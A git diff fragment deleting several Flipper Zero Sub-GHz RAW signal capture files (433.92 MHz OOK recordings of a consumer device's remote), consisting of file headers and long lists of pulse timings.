-66 165 -68 2853 -100 1231 -68 131 -264 695 -100 133 -134 1857 -68 827 -66 465 -100 1131 -66 2023 -98 6713 -98 595 -100 1261 -66 363 -66 957 -132 99 -66 233 -66 2181 -98 1017 -132 233 -98 265 -100 597 -132 3645 -100 1091 -100 1429 -100 433 -66 457 -66 721 -98 295 -98 689 -98 657 -198 131 -66 1361 -100 1663 -66 889 -100 1187 -66 433 -100 397 -100 231 -132 197 -100 895 -100 1055 -64 991 -66 2871 -66 6433 -66 331 -98 361 -68 919 -132 4707 -98 3097 -98 633 -100 1391 -98 99 -98 1579 -132 1883 -100 365 -100 101 -66 533 -66 5087 -234 165 -66 1761 -134 1131 -264 397 -100 363 -98 665 -100 463 -100 861 -100 633 -202 1959 -66 231 -68 333 -66 263 -132 363 -98 1425 -100 1423 -132 1591 -66 299 -98 1097 -66 3647 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub deleted file mode 100644 index 6a6a81d9d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 829 -66 559 -264 1457 -66 955 -64 621 -66 8483 -100 1565 -98 99 -66 4247 -66 3423 -66 367 -100 5443 -98 7487 -132 821 -68 331 -100 1697 -100 995 -66 331 -100 199 -134 65 -134 99 -232 165 -100 467 -66 5573 -100 5505 -166 363 -68 531 -66 789 -64 131 -134 1397 -100 1059 -100 4199 -130 2659 -130 1311 -98 3249 -100 4533 -64 3007 -66 5145 -132 297 -98 3389 -98 1121 319 2711 -234 597 -66 4621 -162 659 -98 129 -98 989 -98 3583 -98 99 -98 7147 -66 1017 -230 2131 -98 2841 -66 233 -98 1257 -98 3297 -130 959 -66 231 -66 889 -132 2077 -200 2607 -100 133 -100 1459 -100 6441 -132 1789 -166 1261 -66 1017 -132 459 -100 1593 -68 1853 -164 8147 -68 2085 -66 559 -66 629 -202 1359 -66 589 -66 263 -132 131 -100 2223 -66 623 -200 4411 -98 303 -66 433 -68 1093 -66 729 -166 2393 -298 99 -66 2491 -100 4975 -66 765 -166 11757 -66 1575 -98 1325 -132 1821 -66 2391 -68 3581 -66 2937 -66 1511 -66 3719 -98 1231 -66 5743 -132 2091 -166 2511 -66 1649 -66 269 -100 1753 -68 729 -132 1259 -132 359 -100 699 -134 2227 -132 629 -228 5745 -68 859 -128 4239 -66 993 -98 299 -98 501 -100 431 -66 929 -66 601 -68 3391 -66 1161 -68 265 -66 1593 -100 229 -132 4467 -66 1507 -132 4569 -98 621 -98 1807 -66 1395 -100 789 -66 1357 -132 67 -132 1297 -134 533 -66 757 -66 1745 -98 1153 -66 1593 -264 263 -68 1557 -66 3897 -64 757 -132 923 -66 2823 -100 133 -98 1031 -66 463 -100 233 -100 897 -132 3385 -66 297 -66 929 -66 769 -102 2917 -100 131 -66 1091 -66 295 -132 1223 -66 959 -100 1757 -98 399 -66 3325 -66 297 -66 797 -98 829 -66 2151 -98 731 -100 165 -66 1761 -200 2645 -130 729 -66 989 -66 861 -166 2915 -100 167 -66 4715 -66 561 -64 459 -98 229 -66 2463 -66 195 -132 431 -66 1759 -66 2425 -100 131 -132 2939 -98 657 -98 163 -98 359 -66 981 -100 767 -98 3315 -66 767 -130 863 -166 563 -66 2893 -66 197 -98 1415 -130 861 -66 1595 -132 1155 -100 331 -130 753 -66 5609 -100 597 -200 887 -98 825 -68 167 -66 5619 -66 197 -100 1259 -100 327 -64 1383 -198 2317 -100 2321 -134 4847 -132 1223 -68 889 -98 165 -132 2921 -68 2689 -66 1555 -66 723 -66 1737 -66 461 -100 787 -66 3383 -100 397 -100 197 -66 1283 -100 1585 -68 565 -98 235 -166 233 -232 2837 -130 2719 -100 5479 -66 263 -136 4249 -196 1381 -132 395 -134 97 -66 231 -66 467 -132 459 -66 365 -100 1433 -100 2213 -132 1823 -98 965 -66 4693 -98 2035 -98 455 -66 -RAW_Data: 359 -66 1687 -68 627 -66 1085 -862 415 -842 415 -880 397 -852 415 -854 425 -840 417 -884 379 -880 1675 -418 419 -440 409 -418 411 -448 409 -446 381 -450 423 -410 443 -842 401 -848 415 -442 409 -416 447 -422 409 -840 445 -418 409 -446 415 -408 437 -844 423 -848 417 -416 417 -866 415 -416 433 -852 413 -444 395 -852 415 -452 401 -850 415 -836 443 -834 411 -870 411 -872 409 -864 383 -878 397 -850 415 -884 387 -872 1677 -418 415 -454 399 -432 417 -448 421 -414 409 -426 409 -448 413 -852 411 -844 423 -414 443 -418 409 -870 417 -416 409 -456 389 -446 415 -854 395 -468 383 -882 399 -434 417 -846 415 -434 411 -870 379 -448 399 -868 415 -418 451 -832 411 -846 425 -854 417 -870 387 -870 411 -866 415 -846 433 -846 387 -882 387 -876 1689 -416 407 -460 387 -444 417 -452 401 -424 441 -416 411 -424 427 -840 417 -850 439 -420 413 -454 401 -860 415 -418 409 -426 411 -446 417 -852 393 -472 413 -836 411 -444 417 -836 441 -416 417 -852 395 -472 381 -848 449 -406 427 -840 445 -846 411 -846 423 -852 415 -850 397 -868 417 -846 435 -846 387 -886 387 -876 1665 -448 409 -436 417 -448 385 -442 409 -418 415 -454 409 -444 413 -852 397 -862 417 -418 441 -410 415 -848 407 -454 411 -416 419 -440 411 -842 427 -410 449 -844 435 -388 447 -844 437 -390 445 -844 431 -388 445 -844 437 -388 447 -844 441 -812 449 -852 387 -842 447 -846 415 -842 421 -836 415 -862 407 -852 417 -864 1665 -454 405 -398 441 -416 417 -418 437 -428 415 -416 417 -452 403 -850 413 -866 409 -418 417 -452 403 -850 415 -442 395 -424 447 -414 441 -824 417 -416 445 -846 413 -416 445 -846 411 -418 417 -848 439 -388 447 -846 439 -418 415 -844 407 -848 449 -818 423 -840 453 -818 443 -844 419 -854 413 -840 411 -878 411 -848 1701 -416 411 -424 443 -414 411 -458 389 -442 415 -442 409 -416 417 -848 439 -844 423 -430 407 -416 445 -850 411 -418 415 -420 449 -406 423 -840 447 -416 415 -840 415 -440 413 -846 419 -416 443 -848 411 -416 451 -850 411 -418 417 -107956 163 -100 131 -724 261 -132 4549 -134 1923 -98 469 -100 763 -66 395 -64 195 -128 329 -198 3329 -98 131 -66 885 -66 927 -66 8037 -66 1261 -166 261 -68 3579 -66 1315 -100 695 -100 695 -100 367 -134 361 -100 1093 -66 625 -98 361 -98 1415 -100 397 -100 533 -100 433 -66 367 -100 427 -134 197 -198 1149 -100 555 -98 591 -66 985 -98 493 -66 465 -100 301 -66 657 -66 655 -98 951 -164 2169 -100 -RAW_Data: 363 -100 7927 -100 8081 -66 129 -66 857 -266 201 -66 1557 -100 397 -230 1315 -100 755 -98 199 -100 199 -100 563 -166 395 -66 457 -66 327 -66 97 -100 693 -232 533 -100 763 -100 2429 -66 661 -166 399 -102 4161 -132 6551 -66 865 -100 4565 -98 133 -66 3395 -66 11775 -100 3875 -68 427 -134 8711 -100 327 -66 593 -98 1215 -98 391 -198 721 -132 857 -98 787 -66 5291 -66 1115 -100 10413 -164 1013 -98 1913 -66 267 -66 303 -100 1589 -266 1127 -100 2225 -164 1743 -198 1251 -100 299 -66 367 -100 97 -66 995 -66 1525 -66 497 -100 1359 -68 955 -134 657 -264 97 -232 493 -66 193 -98 821 -132 65 -100 65 -66 1911 -66 2387 -64 3263 -100 1195 -100 99 -66 1551 -68 1091 -132 1293 -98 2449 -66 261 -102 2471 -66 695 -68 363 -134 297 -68 2289 -264 397 -134 663 -166 3379 -98 1901 -68 335 -66 665 -66 597 -166 563 -132 2013 -168 1661 -134 465 -66 631 -100 9635 -66 2973 -132 131 -100 497 -66 1157 -132 4025 -68 559 -100 2089 -66 2081 -332 3557 -66 129 -66 1327 -166 267 -132 5597 -100 1085 -132 1031 -66 1191 -66 133 -132 99 -66 5007 -66 361 -66 359 -98 259 -130 857 -100 2789 -100 3831 -98 2165 -132 3743 -132 99 -68 265 -132 301 -134 1129 -66 231 -66 697 -98 4417 -100 661 -98 297 -132 457 -328 691 -100 2497 -100 331 -134 1797 -100 231 -234 565 -132 595 -100 1161 -100 1193 -100 1991 -134 3971 -230 459 -66 131 -66 1021 -66 1589 -66 1453 -130 4015 -132 1555 -98 1523 -66 1425 -66 1097 -66 131 -168 1027 -66 797 -98 1431 -68 2589 -166 1645 -98 5473 -68 1061 -132 4157 -68 2235 -130 987 -100 3489 -166 4875 -100 297 -132 1031 -132 297 -100 397 -68 1559 -66 3657 -66 659 -66 165 -66 97 -98 1477 -66 983 -132 2469 -100 2419 -66 959 -100 1529 -134 633 -66 2441 -132 427 -166 527 -198 397 -66 297 -230 689 -132 1885 -100 459 -100 1327 -98 661 -294 795 -68 297 -100 733 -166 995 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub deleted file mode 100644 index 3924c17c9..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_3.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -166 2157 -66 891 -66 2157 -66 459 -442 2903 -100 1487 -100 2189 -130 2947 -66 1227 -68 231 -68 599 -100 1229 -98 397 -100 1085 -66 1549 -98 2043 -66 831 -132 2723 -134 1125 -100 2819 -134 197 -100 1225 -66 661 -132 4789 -66 1811 -198 1643 -66 1629 -134 857 -98 201 -132 1055 -66 459 -66 1651 -132 7369 -66 721 -100 1623 -100 4737 -66 1363 -66 2411 -66 2417 -98 1781 -66 863 -66 697 -132 327 -100 267 -66 3637 -132 1553 -132 719 -66 787 -166 999 -68 497 -134 3951 -134 697 -66 1621 -68 3917 -66 595 -132 1433 -228 1415 -132 2573 -66 4135 -66 163 -98 1411 -132 629 -66 627 -68 1651 -66 6325 -66 1025 -68 2255 -66 1525 -166 2455 -166 763 -134 431 -130 1061 -66 4067 -66 599 -132 4059 -134 67 -134 1959 -134 1151 -164 3339 -98 961 -66 797 -100 533 -98 1827 -132 99 -68 765 -198 2589 -66 1027 -66 1389 -132 1975 -132 7915 -132 2261 -100 333 -66 97 -100 1479 -130 3837 -100 3453 -134 503 -66 365 -132 5397 -100 2723 -68 2087 -66 2129 -132 1029 -100 859 -132 4357 -134 3425 -100 4283 -98 529 -100 2513 -98 985 -98 3679 -132 2633 -100 1157 -98 165 -102 1163 -134 1693 -68 565 -102 797 -68 1361 -100 6135 -100 1557 -96 457 -66 557 -100 955 -132 1425 -134 1503 -66 365 -132 133 -66 5163 -66 163 -98 821 -66 559 -164 1477 -66 327 -66 1777 -200 3319 -68 1891 -166 467 -68 727 -134 1153 -66 1947 -100 765 -66 4113 -98 1247 -66 7277 -134 329 -66 10217 -66 4653 -196 1381 -98 199 -66 663 -100 693 -100 297 -66 2207 -98 197 -66 3683 -66 2521 -66 1165 -66 99 -166 701 -100 1687 -66 765 -128 1545 -100 1453 -66 4093 -100 727 -132 533 -100 533 -66 301 -100 995 -66 1639 -100 1445 -98 863 -228 263 -100 7941 -230 133 -134 199 -100 363 -66 2949 -166 3129 -66 397 -100 2491 -68 2221 -98 495 -66 165 -66 759 -98 163 -132 791 -264 691 -66 1347 -164 4849 -134 1819 -68 1033 -168 827 -166 3533 -68 1771 -100 621 -100 4869 -98 1549 -100 829 -132 1559 -68 985 -132 327 -132 1413 -134 1259 -100 601 -100 1155 -164 1289 -98 4915 -66 4957 -100 1135 -66 1461 -100 765 -66 563 -166 765 -66 4611 -68 3517 -132 3197 -66 3147 -98 1155 -132 2363 -132 163 -66 229 -98 821 -132 565 -66 395 -98 2083 -100 7267 -100 631 -134 931 -66 1021 -66 4527 -66 395 -100 1645 -66 1945 -66 819 -100 1253 -66 65 -130 131 -130 2649 -68 3241 -66 1823 -98 333 -134 4571 -66 1223 -66 363 -100 5947 -66 885 -166 1119 -66 1031 -100 399 -66 2553 -66 1859 -68 1353 -98 65 -98 4991 -RAW_Data: -66 1057 -100 657 -66 561 -132 1057 -98 3337 -166 1197 -66 2161 -66 231 -66 2165 -100 297 -66 929 -66 2747 -844 427 -850 383 -866 413 -872 411 -860 417 -844 403 -852 415 -852 1707 -434 387 -444 385 -450 393 -450 409 -426 409 -450 407 -422 411 -872 409 -866 417 -416 411 -434 417 -882 399 -428 387 -478 385 -450 405 -854 415 -410 437 -846 425 -412 445 -846 403 -424 445 -842 401 -422 443 -846 403 -424 445 -848 403 -852 415 -860 411 -874 417 -836 411 -840 429 -848 449 -818 423 -870 413 -848 1701 -416 407 -424 443 -384 445 -420 409 -448 415 -454 401 -428 407 -844 427 -850 417 -442 395 -424 447 -814 427 -868 423 -426 409 -414 451 -818 445 -846 419 -852 351 -478 429 -852 413 -690 167 -830 441 -418 429 -852 411 -420 431 -852 417 -842 409 -870 419 -848 435 -846 385 -854 423 -878 413 -848 415 -844 425 -850 1139 -416 445 -408 437 -386 447 -418 439 -410 415 -414 445 -410 445 -842 437 -846 385 -452 411 -426 443 -810 463 -814 447 -410 445 -382 439 -866 419 -844 433 -846 385 -452 407 -854 413 -440 411 -844 425 -426 443 -844 401 -426 443 -842 431 -814 453 -850 387 -876 421 -856 413 -846 421 -856 411 -838 413 -852 451 -838 1709 -418 411 -396 435 -416 451 -424 397 -436 415 -452 387 -454 409 -852 413 -856 395 -436 413 -452 385 -854 425 -842 455 -390 435 -436 415 -848 409 -846 451 -842 399 -426 411 -876 401 -424 445 -844 401 -422 443 -846 401 -424 445 -842 399 -848 417 -856 425 -870 409 -862 419 -846 433 -846 383 -854 425 -840 413 -874 1665 -442 409 -416 417 -418 441 -442 411 -418 395 -452 441 -390 443 -846 401 -848 415 -452 403 -424 441 -844 401 -852 415 -416 435 -426 441 -840 399 -852 411 -866 411 -410 453 -838 427 -412 447 -844 439 -388 447 -844 435 -388 445 -846 403 -882 383 -854 421 -874 411 -844 413 -844 427 -854 413 -854 425 -838 441 -824 1711 -428 407 -416 451 -422 429 -408 415 -416 417 -450 407 -424 443 -844 399 -850 413 -410 457 -418 417 -844 405 -848 445 -410 445 -412 409 -864 419 -846 403 -850 447 -408 443 -812 429 -426 409 -844 427 -424 443 -844 401 -426 445 -109652 65 -98 197 -266 229 -164 65 -462 129 -100 1255 -100 961 -100 795 -66 467 -100 265 -102 1867 -100 3093 -100 325 -132 129 -100 199 -68 429 -100 1559 -66 465 -64 633 -66 1361 -298 267 -66 2855 -100 3557 -66 1319 -98 129 -66 461 -228 789 -132 457 -66 719 -98 1259 -198 1193 -66 3057 -164 363 -198 2941 -66 753 -66 327 -RAW_Data: -130 197 -132 491 -100 1839 -166 325 -66 12735 -100 961 -66 4147 -66 229 -132 1705 -66 1973 -66 497 -98 231 -100 925 -130 195 -66 3239 -166 131 -66 2221 -198 12239 -66 265 -132 3773 -100 395 -130 823 -98 8669 -264 6015 -66 3639 -100 4571 -100 1329 -200 2279 -68 131 -100 1263 -98 233 -134 1099 -98 1297 -100 493 -100 825 -98 2129 -66 963 -166 859 -66 1283 -66 165 -66 2373 -98 327 -164 295 -130 1083 -66 359 -100 1227 -166 361 -66 163 -98 99 -164 1747 -98 625 -166 863 -100 661 -68 1989 -66 1327 -164 829 -132 2923 -100 3691 -68 1497 -66 7155 -166 97 -332 3477 -168 1325 -100 863 -66 297 -134 1709 -98 363 -66 131 -68 1627 -66 335 -66 9805 -66 2301 -198 1027 -132 1331 -66 3005 -100 693 -68 2639 -132 199 -166 859 -98 1573 -100 2449 -198 131 -132 525 -98 457 -66 559 -66 1053 -100 297 -66 697 -68 563 -132 753 -66 997 -68 731 -100 331 -166 397 -102 197 -66 1295 -132 2583 -166 1487 -64 2037 -132 1123 -98 3455 -98 1119 -100 827 -66 3015 -132 933 -66 3303 -130 1611 -66 853 -98 691 -98 131 -66 491 -100 721 -66 1083 -100 5291 -68 997 -100 235 -134 797 -164 491 -98 329 -66 2839 -66 2607 -68 2325 -98 1061 -166 3627 -64 627 -264 2859 -166 3723 -132 131 -98 297 -66 919 -66 459 -98 1179 -132 331 -100 1325 -68 363 -68 495 -168 1293 -166 133 -98 985 -66 195 -130 9041 -166 759 -200 2849 -66 267 -134 65 -68 2391 -66 231 -100 265 -66 731 -98 1257 -96 261 -64 591 -132 459 -132 559 -98 489 -132 2663 -100 2969 -66 1149 -66 2375 -164 97 -66 883 -98 1383 -132 489 -66 431 -66 1281 -134 3465 -230 3399 -66 3495 -100 333 -100 99 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub deleted file mode 100644 index cddf0574b..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_03_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2085 -68 1027 -68 1195 -100 827 -66 965 -100 65 -164 1891 -66 67 -66 1857 1057 1855 -66 2429 -98 1891 -66 167 -100 397 -130 3617 -98 1127 -100 1293 -66 1461 -66 1183 -66 2615 -68 3183 -64 4407 -66 1027 -100 231 -100 335 -100 1889 -134 1559 -98 1167 -130 363 -166 659 -100 1083 -66 1407 -132 163 -166 2507 -198 165 -64 359 -164 1545 -132 163 -66 7001 -100 1979 -200 1193 -66 827 -100 1249 -64 919 -98 687 -130 325 -66 1087 -98 1533 -66 897 -98 1645 -362 361 -66 195 -66 365 -66 789 -198 627 -68 131 -100 565 -66 659 -66 1315 -66 1317 -230 1973 -66 789 -64 1903 -168 1331 -98 3173 -134 5667 -68 933 -66 97 -66 525 -100 2977 -100 1325 -66 1257 -100 2905 -130 689 -100 9083 -100 863 -100 863 -132 167 -68 499 -68 1095 -100 661 -66 561 -132 455 -132 163 -66 489 -66 3183 -132 1197 -100 889 -66 1479 -66 3611 -98 859 -66 1225 -100 463 -66 297 -66 431 -66 3547 -98 2039 -128 1851 -68 333 -130 659 -66 2347 -66 2481 -100 2823 -66 1939 -66 4059 -66 1083 -100 431 -66 5453 -100 853 -66 4267 -66 5259 -68 2347 -66 133 -100 2155 -100 633 -164 361 -66 1247 -98 1051 -64 195 -196 359 -230 625 -66 5645 -100 561 -132 331 -66 365 -100 497 -100 65 -164 463 -102 3515 -66 1565 -100 399 -100 1823 -100 1163 -68 859 -100 2009 -198 1517 -66 1461 -66 1125 -66 3791 -68 197 -100 499 -100 691 -66 1817 -132 361 -66 729 -66 299 -66 629 -132 1465 -132 165 -362 433 -858 411 -854 399 -866 419 -848 433 -836 425 -818 441 -878 399 -866 1701 -418 417 -416 413 -422 421 -444 415 -418 433 -430 407 -416 417 -848 441 -844 425 -426 441 -382 451 -854 411 -844 421 -396 439 -414 447 -846 413 -844 361 -918 417 -416 417 -868 415 -418 433 -984 279 -426 417 -842 405 -444 411 -848 451 -834 413 -844 427 -834 447 -836 413 -856 423 -838 453 -850 411 -844 419 -836 1699 -448 381 -450 411 -424 445 -412 421 -426 409 -444 411 -420 427 -868 383 -868 413 -450 403 -850 413 -420 433 -398 439 -416 417 -848 439 -418 415 -418 439 -840 419 -418 407 -882 419 -382 447 -846 413 -416 445 -846 415 -416 417 -848 441 -846 419 -836 415 -856 423 -874 413 -842 411 -842 429 -852 411 -856 425 -838 1703 -418 417 -416 439 -412 415 -418 451 -410 443 -412 407 -438 415 -848 441 -820 453 -382 445 -844 415 -418 451 -384 437 -434 417 -848 419 -430 409 -448 411 -856 397 -432 415 -848 441 -392 441 -848 409 -418 409 -874 407 -436 419 -848 411 -846 447 -842 431 -812 -RAW_Data: 415 -864 387 -844 453 -822 445 -842 425 -856 411 -856 1681 -424 411 -446 415 -420 435 -398 441 -416 417 -420 451 -406 421 -876 413 -842 413 -416 447 -844 411 -418 419 -416 441 -408 415 -848 441 -396 451 -418 413 -836 409 -448 415 -834 441 -418 435 -854 411 -422 427 -834 415 -452 409 -854 411 -856 425 -840 421 -848 439 -846 421 -820 453 -844 405 -862 419 -848 433 -814 1701 -420 415 -418 437 -426 441 -380 453 -428 415 -414 427 -442 411 -824 435 -864 419 -414 419 -826 445 -416 449 -386 439 -396 419 -846 453 -424 399 -432 415 -874 409 -444 381 -872 409 -414 445 -834 409 -450 423 -834 415 -410 437 -842 429 -846 413 -870 417 -842 409 -866 419 -848 403 -882 383 -854 423 -874 413 -842 1671 -452 405 -428 409 -416 451 -420 417 -406 441 -416 411 -436 427 -838 427 -854 411 -422 429 -822 413 -446 421 -428 409 -416 445 -844 417 -416 451 -422 397 -864 419 -416 443 -824 417 -418 449 -818 441 -416 419 -848 441 -386 447 -115588 131 -460 131 -592 99 -134 3147 -98 265 -134 2257 -100 397 -134 1813 -134 231 -100 4439 -134 2581 -66 917 -100 431 -100 97 -68 1291 -132 1599 -66 3715 -64 6103 -66 1121 -132 789 -100 1113 -100 931 -100 2489 -66 1161 -132 2487 -132 1283 -100 1183 -98 497 -100 1225 -68 1663 -66 631 -134 1425 -132 861 -132 1693 -132 501 -66 2369 -68 131 -198 2019 -98 231 -130 65 -66 629 -66 3551 -68 197 -134 4239 -66 1727 -102 6069 -98 1907 -68 297 -66 1059 -230 3469 -100 3455 -68 399 -66 1611 -66 1697 -98 1097 -132 2755 -100 961 -66 1325 -132 533 -132 887 -66 4773 -66 527 -66 361 -100 501 -132 631 -68 499 -164 1095 -100 361 -64 1717 -68 1493 -100 365 -68 265 -66 1767 -132 331 -100 65 -98 5531 -66 2181 -132 1357 -66 1951 -100 1445 -98 595 -66 467 -66 165 -100 997 -66 2813 -100 2613 -100 2989 -68 1189 -66 1933 -66 883 -66 297 -66 165 -68 3551 -66 463 -100 659 -66 3945 -100 1249 -66 1547 -98 163 -100 1995 -68 863 -66 1297 -132 901 -100 1255 -100 431 -102 431 -100 2185 -98 5289 -200 597 -66 133 -98 559 -100 1601 -100 591 -66 1113 -66 1129 -100 1319 -66 1085 -98 163 -98 1543 -68 331 -134 995 -66 865 -98 4015 -100 1225 -98 3433 -66 955 -98 2101 -64 3375 -132 7857 -298 627 -100 2553 -100 561 -100 1021 -66 1415 -228 987 -134 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub deleted file mode 100644 index 8307f626f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5717 -66 4371 -66 1625 -66 99 -66 2185 -100 433 -68 65 -802 851 -96 1775 -100 1085 -64 1247 -164 361 -66 2223 -66 859 -66 399 -66 1907 -98 1675 -66 1359 -132 67 -66 1515 -98 1187 -164 1817 -68 1467 -64 499 -100 697 -296 331 -98 465 -66 3347 -100 423 -66 853 -132 67 -98 561 -100 2001 -134 2055 -66 693 -66 787 -132 229 -166 363 -66 891 -166 165 -66 1919 -130 65 -98 1249 -98 2475 -100 621 -66 18671 -100 1487 -68 1755 -68 1263 -264 595 -66 2615 -98 167 -366 463 -66 2991 -98 333 -166 2599 -98 163 -66 1605 -164 589 -66 1049 -132 1317 -98 2407 -130 3199 -66 3783 -98 2869 -100 3115 -66 1453 -66 259 -132 97 -66 1875 -66 1663 -136 1293 -100 5771 -100 429 -132 2411 -164 4495 -66 3503 -198 655 -98 2633 -100 361 -66 97 -98 329 -98 3739 -130 501 -232 231 -100 425 -164 1659 -100 1825 -100 1541 -100 1127 -66 2119 -134 761 -164 859 -68 627 -134 1467 -66 1595 -100 1889 -132 1325 -100 531 -100 1323 -298 6139 -66 829 -98 2965 -66 493 -66 5987 -198 1645 -262 2429 -66 4567 -100 651 -100 1595 -66 1761 -66 333 -66 1069 -98 997 -98 295 -134 263 -98 2365 -66 427 -100 2895 -100 429 -68 729 -66 429 -100 631 -132 2521 -166 231 -66 623 -100 983 -132 763 -100 1791 -66 197 -66 869 -100 2789 -66 663 -198 1093 -132 1519 -100 631 -66 1217 -100 791 -66 2653 -164 165 -132 99 -132 99 -164 1905 -198 557 -66 1879 -164 3375 -66 1249 -66 887 -66 657 -100 3887 -66 195 -66 2971 -66 565 -66 5377 -68 427 -164 201 -66 233 -134 1061 -102 1489 -66 5955 -100 899 -68 3779 -134 965 -166 367 -98 1187 -66 625 -66 885 -66 3755 -872 99 -100 167 -874 423 -874 97 -94 181 -864 415 -884 169 -70 181 -860 381 -846 265 -862 1529 -66 63 -434 415 -450 397 -412 309 -70 445 -416 411 -444 413 -410 419 -850 413 -886 387 -444 415 -410 439 -418 417 -846 437 -418 413 -418 441 -410 417 -846 417 -860 415 -418 443 -846 411 -418 445 -846 413 -418 415 -846 437 -388 445 -844 405 -846 453 -818 421 -840 447 -846 413 -846 417 -836 413 -854 425 -840 419 -882 1663 -408 457 -386 445 -414 451 -402 409 -446 411 -410 455 -846 385 -440 433 -420 415 -416 409 -438 445 -420 425 -852 387 -446 415 -406 443 -418 417 -850 437 -848 419 -418 411 -852 415 -442 411 -844 427 -410 449 -846 405 -424 443 -848 405 -850 415 -888 387 -870 413 -846 413 -844 425 -848 415 -866 413 -834 441 -856 1681 -420 409 -446 411 -412 421 -424 445 -414 409 -438 415 -850 -RAW_Data: 437 -430 417 -418 415 -410 457 -388 445 -416 439 -840 419 -418 453 -402 425 -410 415 -874 399 -858 419 -418 439 -842 419 -418 441 -824 451 -414 407 -866 421 -416 411 -852 451 -840 401 -848 447 -820 421 -870 409 -868 419 -848 405 -882 387 -854 421 -874 1677 -418 445 -418 415 -412 421 -446 413 -418 433 -428 407 -846 427 -428 407 -416 447 -428 399 -436 417 -414 419 -884 389 -446 383 -452 393 -450 409 -852 413 -854 395 -436 415 -846 437 -430 387 -874 411 -418 395 -868 417 -420 437 -864 417 -846 403 -882 385 -884 389 -874 411 -846 411 -848 423 -852 413 -868 381 -876 1691 -414 409 -470 383 -448 391 -448 407 -426 409 -446 417 -856 409 -448 381 -448 411 -444 385 -476 393 -428 407 -876 395 -442 413 -418 409 -442 417 -880 401 -862 417 -416 411 -848 413 -416 443 -850 411 -418 409 -880 413 -448 381 -878 411 -844 427 -854 413 -836 411 -884 413 -836 411 -844 425 -882 383 -882 387 -876 1661 -446 409 -434 323 -520 427 -430 407 -418 443 -420 397 -862 417 -420 139 -70 211 -440 395 -468 381 -444 193 -62 159 -424 411 -876 395 -424 443 -414 409 -440 415 -846 407 -890 383 -448 411 -848 413 -416 415 -878 413 -418 415 -848 439 -418 413 -121724 133 -888 165 -796 97 -498 65 -530 165 -630 163 -132 525 -362 99 -294 99 -230 2989 -132 329 -100 10007 -66 397 -64 1647 -134 863 -98 687 -64 1473 -100 161 -66 923 -100 331 -166 327 -132 65 -100 329 -200 133 -66 597 -100 197 -132 293 -66 789 -66 831 -66 3687 -66 1023 -232 1889 -134 959 -134 4539 -98 559 -134 165 -66 1325 -100 1161 -100 2827 -100 2473 -266 1781 -100 1051 -98 427 -66 2263 -130 3317 -66 627 -66 3031 -66 793 -100 527 -132 10075 -98 1923 -66 297 -66 1293 -66 13549 -98 333 -98 999 -166 131 -66 265 -98 299 -132 1847 -66 1093 -264 431 -198 789 -194 1119 -132 2069 -132 327 -132 263 -262 489 -64 2103 -66 987 -66 525 -66 767 -66 2761 -66 565 -100 729 -100 2449 -166 2477 -100 1259 -66 301 -66 331 -66 4143 -66 791 -64 425 -100 1621 -98 231 -102 133 -100 1493 -134 4549 -166 2453 -100 2447 -66 131 -100 265 -66 131 -98 361 -130 429 -264 467 -66 465 -100 1747 -98 797 -66 899 -66 1027 -66 361 -166 1425 -66 959 -100 1857 -100 3611 -168 497 -134 2489 -168 2519 -132 497 -264 1491 -68 2989 -134 265 -68 929 -66 565 -100 165 -264 947 -100 395 -66 2433 -66 2459 -132 165 -98 65 -66 3849 -98 1191 -132 1067 -100 1163 -132 659 -98 501 -164 1529 -66 927 -66 -RAW_Data: 931 -132 235 -66 1751 -100 861 -66 10237 -100 363 -100 363 -166 2721 -134 2411 -100 3375 -66 2985 -100 5197 -64 759 -66 963 -134 565 -100 5137 -66 65 -100 2259 -198 65 -68 463 -264 3467 -98 1813 -66 3605 -132 2337 -98 2705 -100 167 -132 3861 -66 5003 -98 1591 -68 3953 -66 2857 -100 5107 -68 1883 -98 1161 -100 199 -100 2711 -200 2153 -98 4297 -98 3267 -98 65 -134 4215 -66 2547 -68 365 -200 4087 -98 4111 -66 1391 -134 1361 -134 593 -100 2321 -166 329 -100 725 -66 857 -64 527 -134 367 -66 631 -102 165 -100 699 -66 787 -66 729 -68 993 -66 797 -134 593 -68 927 -134 2891 -130 1115 -130 163 -166 591 -66 1197 -66 1319 -66 825 -66 827 -66 893 -100 1129 -100 461 -98 4071 -66 4993 -130 1083 -166 991 -132 8671 -66 457 -66 129 -132 721 -164 921 -300 1685 -66 819 -66 165 -230 921 -64 459 -98 97 -164 461 -298 231 -68 333 -66 623 -100 2311 -98 229 -130 953 -66 